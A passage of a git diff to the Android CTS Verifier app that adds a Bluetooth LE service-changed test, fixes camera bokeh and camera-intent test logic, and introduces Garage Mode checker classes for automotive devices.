                     writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
                     break;
+                case BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED:
+                    initializeServiceChangedEvent();
+                    writeCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, WRITE_VALUE);
+                    break;
             }
         }
     }
@@ -599,6 +620,29 @@
         }
     }
 
+    private void initializeServiceChangedEvent() {
+        synchronized (mServiceChangedLock) {
+            mServiceChangedFlag = SERVICE_CHANGED_FLAG_INIT;
+        }
+    }
+
+    private void sendServiceChangedEventIfReady(int flag) {
+        boolean shouldSend = false;
+        synchronized (mServiceChangedLock) {
+            mServiceChangedFlag |= flag;
+            if (mServiceChangedFlag == SERVICE_CHANGED_FLAG_ALL) {
+                mServiceChangedFlag |= SERVOCE_CHANGED_FLAG_IGNORE;
+                shouldSend = true;
+            }
+        }
+
+        if (shouldSend) {
+            writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                SERVICE_CHANGED_VALUE);
+            notifyServiceChanged();
+        }
+    }
+
     private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
         if (characteristic != null) {
             mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
@@ -791,6 +835,12 @@
         sendBroadcast(intent);
     }
 
+    private void notifyServiceChanged() {
+        showMessage("Remote service changed");
+        Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
+        sendBroadcast(intent);
+    }
+
     private BluetoothGattService getService(UUID serverUid) {
         BluetoothGattService service = null;
 
@@ -993,7 +1043,9 @@
                 Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
             }
 
-            if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
+            if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
+                sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_TRIGGER_ACTION);
+            } else if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
                     BLE_CLIENT_ACTION_REQUEST_MTU_23.equals(mCurrentAction)) {
                 if (status == BluetoothGatt.GATT_SUCCESS) {
                     notifyMtuChanged();
@@ -1221,6 +1273,17 @@
                 notifyError("Failed to read remote rssi");
             }
         }
+
+        @Override
+        public void onServiceChanged(BluetoothGatt gatt) {
+            if (DEBUG) {
+                Log.d(TAG, "onServiceChanged");
+            }
+
+            if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
+                sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_ON_SERVICE_CHANGED);
+            }
+        }
     };
 
     private final ScanCallback mScanCallback = new ScanCallback() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index b5220f8..bfcd85d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -60,7 +60,8 @@
     private static final int PASS_FLAG_INDICATE_CHARACTERISTIC = 0x8000;
     private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x10000;
     private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x20000;
-    private static final int PASS_FLAG_ALL = 0x3FFFF;
+    private static final int PASS_FLAG_ON_SERVICE_CHANGED = 0x40000;
+    private static final int PASS_FLAG_ALL = 0x7FFFF;
 
     private final int BLE_CLIENT_CONNECT = 0;
     private final int BLE_BLE_DISCOVER_SERVICE = 1;
@@ -79,7 +80,8 @@
     private final int BLE_READ_DESCRIPTOR_NO_PERMISSION = 13;   //14;
     private final int BLE_WRITE_DESCRIPTOR_NO_PERMISSION = 14;  //15;
     private final int BLE_READ_RSSI = 15;   //16;
-    private final int BLE_CLIENT_DISCONNECT = 15;   //16;   //17;
+    private final int BLE_ON_SERVICE_CHANGED = 15; //16; //17;
+    private final int BLE_CLIENT_DISCONNECT = 16;  //17; //18;
 
     private TestAdapter mTestAdapter;
     private long mPassed;
@@ -119,6 +121,7 @@
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_COMPLETED);
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
         filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
+        filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
         filter.addAction(BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION);
@@ -178,6 +181,7 @@
         testList.add(R.string.ble_write_descriptor_nopermission_name);
 // TODO: too flaky b/34951749
 //        testList.add(R.string.ble_read_rssi_name);
+        testList.add(R.string.ble_on_service_changed);
         testList.add(R.string.ble_client_disconnect_name);
 
         return testList;
@@ -347,13 +351,19 @@
                 // execute disconnection test
                 mPassed |= PASS_FLAG_READ_RSSI;
                 Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
-                newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
                 break;
             case BleClientService.BLE_READ_REMOTE_RSSI:
                 actionName = getString(R.string.ble_read_rssi_name);
                 mTestAdapter.setTestPass(BLE_READ_RSSI);
                 mPassed |= PASS_FLAG_READ_RSSI;
                 // execute disconnection test
+                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
+                break;
+            case BleClientService.BLE_ON_SERVICE_CHANGED:
+                actionName = getString(R.string.ble_on_service_changed);
+                mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
+                mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
                 newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
                 break;
             case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index f5e29ba..8177ca2 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -119,6 +119,8 @@
             "com.android.cts.verifier.bluetooth.BLE_ADVERTISE_UNSUPPORTED";
     public static final String BLE_ADD_SERVICE_FAIL =
             "com.android.cts.verifier.bluetooth.BLE_ADD_SERVICE_FAIL";
+    public static final String BLE_SERVICE_CHANGED_INDICATION =
+            "com.android.cts.verifier.bluetooth.BLE_SERVICE_CHANGED_INDICATION";
 
     private static final UUID SERVICE_UUID =
             UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
@@ -137,6 +139,8 @@
             UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
     private static final UUID SERVICE_UUID_INCLUDED =
             UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_UUID_SERVICE_CHANGED =
+            UUID.fromString("00009993-0000-1000-8000-00805f9b34fb");
 
     // Variable for registration permission of Characteristic
     private static final UUID CHARACTERISTIC_NO_READ_UUID =
@@ -190,6 +194,12 @@
     private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
             UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
 
+    // Variable for registration characteristic of service changed service
+    private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
+            UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_CHANGED_CHARACTERISTIC_UUID =
+            UUID.fromString("00009948-0000-1000-8000-00805f9b34fb");
+
     private static final UUID UPDATE_DESCRIPTOR_UUID =
             UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
 
@@ -225,6 +235,7 @@
     private String mMtuTestReceivedData;
     private Runnable mResetValuesTask;
     private BluetoothGattService mAdditionalNotificationService;
+    private BluetoothGattService mServiceChangedService;
 
     // Task to notify failure of starting secure test.
     //   Secure test calls BluetoothDevice#createBond() when devices were not paired.
@@ -247,6 +258,7 @@
 
         mService = createService();
         mAdditionalNotificationService = createAdditionalNotificationService();
+        mServiceChangedService = createServiceChangedService();
 
         mDevice = null;
         mReliableWriteValue = "";
@@ -586,6 +598,16 @@
         resetValues();
     }
 
+    private void notifyServiceChangedIndication() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyServiceChangedIndication");
+        }
+        Intent intent = new Intent(BLE_SERVICE_CHANGED_INDICATION);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
     private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
         BluetoothGattCharacteristic characteristic = mService.getCharacteristic(uuid);
         if (characteristic == null) {
@@ -607,6 +629,17 @@
         return descriptor;
     }
 
+    private BluetoothGattService createServiceChangedService() {
+        BluetoothGattService service =
+                new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+
+        BluetoothGattCharacteristic dummyCharacteristic =
+                new BluetoothGattCharacteristic(SERVICE_CHANGED_CHARACTERISTIC_UUID, 0x02, 0x02);
+
+        service.addCharacteristic(dummyCharacteristic);
+        return service;
+    }
+
     /**
      * Create service for notification test
      * @return
@@ -806,6 +839,11 @@
         notiCharacteristic.setValue(NOTIFY_VALUE);
         service.addCharacteristic(notiCharacteristic);
 
+        // Add new Characteristics (Service change control)
+        BluetoothGattCharacteristic controlCharacteristic =
+                new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08, 0x10);
+        service.addCharacteristic(controlCharacteristic);
+
         return service;
     }
 
@@ -925,6 +963,8 @@
                     mService.addService(service);
                     mGattServer.addService(mAdditionalNotificationService);
                 } else if (uuid.equals(mAdditionalNotificationService.getUuid())) {
+                    mGattServer.addService(mServiceChangedService);
+                } else if (uuid.equals(mServiceChangedService.getUuid())) {
                     // all services added
                     notifyServiceAdded();
                 } else {
@@ -1007,6 +1047,9 @@
                     case DESCRIPTOR_READ_NO_PERMISSION:
                         notifyDescriptorReadRequestWithoutPermission();
                         break;
+                    case BleClientService.SERVICE_CHANGED_VALUE:
+                        notifyServiceChangedIndication();
+                        break;
                 }
                 if (responseNeeded) {
                     mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
@@ -1014,6 +1057,14 @@
                 return;
             }
 
+            if (characteristic.getUuid().equals(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID)) {
+                if (responseNeeded) {
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                }
+                mGattServer.removeService(mServiceChangedService);
+                return;
+            }
+
             // MTU test flow
             if (mCountMtuChange > 0) {
                 if (preparedWrite) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
index c58ee46..6adaad3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
@@ -52,7 +52,8 @@
     private static final int PASS_FLAG_MTU_CHANGE_23BYTES = 0x4000;
     private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x8000;
     private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x10000;
-    private static final int PASS_FLAG_ALL = 0x1FFFF;
+    private static final int PASS_FLAG_SERVICE_CHANGED_INDICATION = 0x20000;
+    private static final int PASS_FLAG_ALL = 0x3FFFF;
 
     private final int BLE_SERVICE_ADDED = 0;
     private final int BLE_SERVER_CONNECTED = 1;
@@ -70,8 +71,9 @@
     private final int BLE_DESCRIPTOR_WRITE_REQUEST = 12;    //13;
     private final int BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION = 13;  //14;
     private final int BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION = 14; //15;
-    private final int BLE_SERVER_DISCONNECTED = 15; //16;
-    private final int BLE_OPEN_FAIL = 16;   //17;
+    private final int BLE_SERVOCE_CHANGED_INDICATION = 15; // 16;
+    private final int BLE_SERVER_DISCONNECTED = 16; //17;
+    private final int BLE_OPEN_FAIL = 17;   //18;
 
     private TestAdapter mTestAdapter;
     private long mAllPassed;
@@ -122,6 +124,7 @@
         filter.addAction(BleServerService.BLE_BLUETOOTH_MISMATCH_INSECURE);
         filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);
         filter.addAction(BleServerService.BLE_ADD_SERVICE_FAIL);
+        filter.addAction(BleServerService.BLE_SERVICE_CHANGED_INDICATION);
 
         registerReceiver(mBroadcast, filter);
     }
@@ -155,6 +158,7 @@
         testList.add(R.string.ble_server_write_descriptor);
         testList.add(R.string.ble_server_read_descriptor_without_permission);
         testList.add(R.string.ble_server_write_descriptor_without_permission);
+        testList.add(R.string.ble_server_service_changed_indication);
         testList.add(R.string.ble_server_receiving_disconnect);
         return testList;
     }
@@ -256,6 +260,10 @@
                 mTestAdapter.setTestPass(BLE_SERVER_MTU_512BYTES);
                 mAllPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
                 break;
+            case BleServerService.BLE_SERVICE_CHANGED_INDICATION:
+                mTestAdapter.setTestPass(BLE_SERVOCE_CHANGED_INDICATION);
+                mAllPassed |= PASS_FLAG_SERVICE_CHANGED_INDICATION;
+                    break;
             case BleServerService.BLE_BLUETOOTH_MISMATCH_SECURE:
                 showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
                 break;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
index 7365b32..78f41da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/bokeh/CameraBokehActivity.java
@@ -753,7 +753,7 @@
 
     private void startPreview() {
         try {
-            if (mPreviewSize == null || mPreviewSize.equals(mNextCombination.mPreviewSize)) {
+            if (mPreviewSize == null || !mPreviewSize.equals(mNextCombination.mPreviewSize)) {
                 mPreviewSize = mNextCombination.mPreviewSize;
 
                 mYuvImageReader = ImageReader.newInstance(mPreviewSize.getWidth(),
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
index 5d2bff7..7eae01c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
@@ -101,7 +101,7 @@
         Camera.ACTION_NEW_VIDEO,
         null,
         null,
-        Camera.ACTION_NEW_VIDEO
+        null
     };
 
     private ImageButton mPassButton;
@@ -204,7 +204,8 @@
     }
 
     private void updateSuccessState() {
-        if (mActionSuccess && mUriSuccess) {
+        // Last stage requires additional step to switch on location permission
+        if (mActionSuccess && mUriSuccess && getStageIndex() < NUM_STAGES - 1) {
             mState = STATE_SUCCESSFUL;
         }
 
@@ -308,7 +309,7 @@
         // Only the last one uses the PassFailButtons click callback function,
         // which gracefully terminates the activity.
         if (stageIndex + 1 < NUM_STAGES) {
-            setPassButtonGoesToNextStage(stageIndex);
+            setPassButtonGoesToNextStage();
         }
         resetButtons();
 
@@ -379,7 +380,7 @@
         Boolean locationEnabled = (checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) ==
                 PackageManager.PERMISSION_GRANTED);
 
-        if (getStageIndex() == STAGE_INTENT_VIDEO) {
+        if (getStageIndex() == NUM_STAGES - 1) {
                 /**
                  * Don't enable the pass /fail button till the user grants CTS verifier location
                  * access again.
@@ -412,7 +413,7 @@
     public void onPause() {
         super.onPause();
         /*
-        When testing INTENT_PICTURE, INTENT_VIDEO,
+        When testing INTENT_PICTURE, INTENT_PICTURE_SECURE, INTENT_VIDEO,
         do not allow user to cheat by going to camera app and re-firing
         the intents by taking a photo/video
         */
@@ -446,6 +447,9 @@
                             break;
                         case STAGE_INTENT_VIDEO:
                             handleIntentVideoResult();
+                            // No broadcast should be received because EXTRA_OUTPUT is set.
+                            // Proceed to update test result
+                            updateSuccessState();
                             break;
                         default:
                             return;
@@ -546,14 +550,6 @@
                             mState = STATE_FAILED;
                         }
 
-                        // For STAGE_INTENT_PICTURE test, if EXTRA_OUTPUT is not assigned in intent,
-                        // file should NOT be saved so triggering this is a test failure.
-                        if (getStageIndex() == STAGE_INTENT_PICTURE ||
-                            getStageIndex() == STAGE_INTENT_PICTURE_SECURE) {
-                            Log.e(TAG, "FAIL: STAGE_INTENT_PICTURE or STAGE_INTENT_PICTURE_SECURE test should not create file");
-                            mState = STATE_FAILED;
-                        }
-
                         if (mState != STATE_FAILED) {
                             return true;
                         } else {
@@ -565,14 +561,8 @@
                 e.printStackTrace();
             }
 
-            if (getStageIndex() == STAGE_INTENT_PICTURE ||
-                getStageIndex() == STAGE_INTENT_PICTURE_SECURE) {
-                // STAGE_INTENT_PICTURE or STAGE_INTENT_PICTURE_SECURE should timeout
-                return true;
-            } else {
-                Log.e(TAG, "FAIL: timeout waiting for URI trigger");
-                return false;
-            }
+            Log.e(TAG, "FAIL: timeout waiting for URI trigger");
+            return false;
         }
 
         protected void onPostExecute(Boolean pass) {
@@ -614,7 +604,7 @@
             mTestEnv.setUp();
 
             /**
-             * Video intents do not need to wait on a ContentProvider broadcast since we're starting
+             * Intent stages do not need to wait on a ContentProvider broadcast since we're starting
              * the intent activity with EXTRA_OUTPUT set
              */
             if (stageIndex != STAGE_INTENT_VIDEO &&
@@ -767,7 +757,7 @@
         // Auto-generated method stub
     }
 
-    private void setPassButtonGoesToNextStage(final int stageIndex) {
+    private void setPassButtonGoesToNextStage() {
         findViewById(R.id.pass_button).setOnClickListener(this);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
new file mode 100644
index 0000000..a7f742f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.os.AsyncTask;
+import android.os.Handler;
+import android.os.Message;
+import android.os.PersistableBundle;
+import android.util.Log;
+import android.util.SparseArray;
+
+import java.lang.ref.WeakReference;
+import java.util.List;
+
+public final class GarageModeChecker extends JobService {
+    private static final String TAG = GarageModeChecker.class.getSimpleName();
+
+    static final String PREFS_FILE_NAME = "GarageModeChecker_prefs";
+    static final String PREFS_INITIATION = "test-initiation";
+    static final String PREFS_GARAGE_MODE_START = "garage-mode-start";
+    static final String PREFS_GARAGE_MODE_END = "garage-mode-end";
+    static final String PREFS_TERMINATION = "termination-time";
+    static final String PREFS_JOB_UPDATE = "job-update-time";
+    static final String PREFS_HAD_CONNECTIVITY = "had-connectivity";
+
+    static final int SECONDS_PER_ITERATION = 10;
+    static final int MS_PER_ITERATION = SECONDS_PER_ITERATION * 1000;
+
+    private static final int GARAGE_JOB_ID = GarageModeTestActivity.class.hashCode();
+    private static final String JOB_NUMBER = "job_number";
+    private static final String REMAINING_SECONDS = "remaining_seconds";
+    // JobScheduler allows a maximum of 10 minutes for a job, but depending on vendor implementation
+    // Garage Mode may not last that long. So, max job duration is set to 60 seconds.
+    private static final int MAX_SECONDS_PER_JOB = 60;
+
+    private static final int MSG_FINISHED = 0;
+    private static final int MSG_RUN_JOB = 1;
+    private static final int MSG_CANCEL_JOB = 2;
+
+    private Context mIdleJobContext;
+
+    private boolean mReportFirstExecution = true;
+
+    public static void scheduleAnIdleJob(Context context, int durationSeconds) {
+        JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+        // Get the next available job ID
+        int highestJobNumber = 0;
+        for (JobInfo jobInfo : jobScheduler.getAllPendingJobs()) {
+            int jobId = jobInfo.getId();
+            if (highestJobNumber < jobId) {
+                highestJobNumber = jobId;
+            }
+        }
+        scheduleJob(context, highestJobNumber + 1, durationSeconds);
+    }
+
+    private static void scheduleJob(Context context, int jobNumber, int durationSeconds) {
+        JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+        ComponentName jobComponentName = new ComponentName(context, GarageModeChecker.class);
+        JobInfo.Builder builder = new JobInfo.Builder(jobNumber, jobComponentName);
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putInt(JOB_NUMBER, jobNumber);
+        bundle.putInt(REMAINING_SECONDS, durationSeconds);
+
+        JobInfo jobInfo = builder
+                .setRequiresDeviceIdle(true)
+                .setExtras(bundle)
+                .build();
+        jobScheduler.schedule(jobInfo);
+    }
+
+    private final Handler mHandler = new Handler() {
+        private SparseArray<JobParameters> mTaskMap = new SparseArray<>();
+        private boolean mHaveContinuousConnectivity = true; // Assume true initially
+
+        @Override
+        public void handleMessage(Message msg) {
+            JobParameters job = (JobParameters) msg.obj;
+            switch (msg.what) {
+                case MSG_FINISHED:
+                    mTaskMap.remove(job.getJobId());
+                    jobFinished(job, false);
+                    break;
+                case MSG_RUN_JOB:
+                    checkConnectivity(msg.arg1);
+                    GarageModeCheckerTask task = new GarageModeCheckerTask(this, job, msg.arg1);
+                    task.execute();
+                    mTaskMap.put(job.getJobId(), job);
+                    break;
+                case MSG_CANCEL_JOB:
+                    JobParameters runningJob = mTaskMap.get(job.getJobId());
+                    if (runningJob != null) {
+                        removeMessages(MSG_RUN_JOB, runningJob);
+                        mTaskMap.remove(job.getJobId());
+                    }
+                    SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                            Context.MODE_PRIVATE);
+                    SharedPreferences.Editor editor = prefs.edit();
+                    editor.putLong(PREFS_TERMINATION, System.currentTimeMillis());
+                    editor.commit();
+                    Log.v(TAG, "Idle job was terminated");
+                    break;
+            }
+        }
+
+        private void checkConnectivity(int iteration) {
+            if (mHaveContinuousConnectivity) {
+                // Check if we still have internet connectivity
+                NetworkInfo networkInfo = getApplicationContext()
+                        .getSystemService(ConnectivityManager.class).getActiveNetworkInfo();
+                mHaveContinuousConnectivity = networkInfo != null
+                        && networkInfo.isAvailable() && networkInfo.isConnected();
+                if (iteration == 0 || !mHaveContinuousConnectivity) {
+                    // Save the connectivity state on the first pass and
+                    // the first time we lose connectivity
+                    SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                            Context.MODE_PRIVATE);
+                    SharedPreferences.Editor editor = prefs.edit();
+                    editor.putBoolean(PREFS_HAD_CONNECTIVITY, mHaveContinuousConnectivity);
+                    editor.commit();
+                }
+            }
+        }
+    };
+
+    @Override
+    public boolean onStopJob(JobParameters jobParameters) {
+        Message msg = mHandler.obtainMessage(MSG_CANCEL_JOB, 0, 0, jobParameters);
+        mHandler.sendMessage(msg);
+        return false;
+    }
+
+    @Override
+    public boolean onStartJob(final JobParameters jobParameters) {
+        mIdleJobContext = getApplicationContext();
+        if (mReportFirstExecution) {
+            mReportFirstExecution = false;
+            // Remember the start time
+            SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putLong(PREFS_GARAGE_MODE_START, System.currentTimeMillis());
+            editor.commit();
+            Log.v(TAG, "Starting idle job");
+        }
+        Message msg = mHandler.obtainMessage(MSG_RUN_JOB, 0, 0, jobParameters);
+        mHandler.sendMessage(msg);
+        return true;
+    }
+
+    private final class GarageModeCheckerTask extends AsyncTask<Void, Void, Boolean> {
+        private final WeakReference<Handler> mHandler;
+        private final JobParameters mJobParameter;
+        private final int mIteration;
+
+        GarageModeCheckerTask(Handler handler, JobParameters jobParameters, int iteration) {
+            mHandler = new WeakReference<Handler>(handler);
+            mJobParameter = jobParameters;
+            mIteration = iteration;
+        }
+
+        @Override
+        protected Boolean doInBackground(Void... infos) {
+            int remainingSeconds = mJobParameter.getExtras().getInt(REMAINING_SECONDS);
+            int myMaxTime = Math.min(remainingSeconds, MAX_SECONDS_PER_JOB);
+            int elapsedSeconds = SECONDS_PER_ITERATION * mIteration;
+            long now = System.currentTimeMillis();
+            SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor editor = null;
+
+            if (elapsedSeconds >= myMaxTime + SECONDS_PER_ITERATION) {
+                // This job is done
+                if (myMaxTime == remainingSeconds) {
+                    // This is the final job. Note the completion time.
+                    editor = prefs.edit();
+                    editor.putLong(PREFS_GARAGE_MODE_END, now);
+                    editor.commit();
+                    Log.v(TAG, "Idle job is finished");
+                }
+                return false;
+            }
+
+            editor = prefs.edit();
+            editor.putLong(PREFS_JOB_UPDATE, now);
+            editor.commit();
+            if (elapsedSeconds >= myMaxTime && (myMaxTime < remainingSeconds)) {
+                // This job is about to finish and there is more time remaining.
+                // Schedule another job.
+                scheduleJob(mIdleJobContext, mJobParameter.getJobId() + 1,
+                        remainingSeconds - elapsedSeconds);
+            }
+            return true;
+        }
+
+        @Override
+        protected void onPostExecute(Boolean result) {
+            final Handler handler = mHandler.get();
+            if (handler == null) {
+                return;
+            }
+            if (result) {
+                Message msg = handler.obtainMessage(MSG_RUN_JOB, mIteration + 1, 0, mJobParameter);
+                handler.sendMessageDelayed(msg, MS_PER_ITERATION);
+            } else {
+                Message msg = handler.obtainMessage(MSG_FINISHED, 0, 0, mJobParameter);
+                handler.sendMessage(msg);
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
new file mode 100644
index 0000000..74bbc08
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.UiModeManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.text.DateFormat;
+
+/**
+ * Tests that Garage Mode runs at the end of a drive
+ */
+public final class GarageModeTestActivity extends PassFailButtons.Activity {
+    // Requirements from Android 11 Compatibility Definition
+    // 2.5.4. Performance and Power
+    // Automotive device implementations:
+    //
+    // [8.3/A-1-3] MUST support Garage Mode
+    // [8.3/A-1-4] SHOULD be in Garage Mode for at least 15 minutes unless:
+    //                 The battery is drained.
+    //                 No idle jobs are scheduled.
+    //                 The driver exits Garage Mode.
+    //
+    // I understand that Google intends to require that Garage Mode is occasionally
+    // allowed to run at least 30 seconds. This code tests for that minimum time.
+
+    private static final String TAG = GarageModeTestActivity.class.getSimpleName();
+
+    // The recommendation is for Garage Mode to run for 15 minutes. To allow
+    // for some variation, run the test for 14 minutes and verify that it
+    // ran at least 13 minutes.
+    private static final int NUM_SECONDS_DURATION = 14 * 60;
+    private static final long RECOMMENDED_DURATION_MS = (NUM_SECONDS_DURATION - 60) * 1000L;
+
+    // The hard requirement is for Garage Mode to run for 30 seconds. Fail if
+    // the test doesn't run at least this long.
+    private static final long REQUIRED_DURATION_MS = 30 * 1000L;
+
+    // Once a test is started, Garage Mode is expected to start within 10 minutes. If it doesn't,
+    // the test is marked as fail.
+    private static final long MAX_WAIT_UNTIL_GARAGE_MODE = 10 * 60 * 1000L;
+
+    private TextView mStatusText;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.garage_test_main, null);
+        setContentView(view);
+
+        setInfoResources(R.string.car_garage_mode_test, R.string.car_garage_mode_test_desc, -1);
+        setPassFailButtonClickListeners();
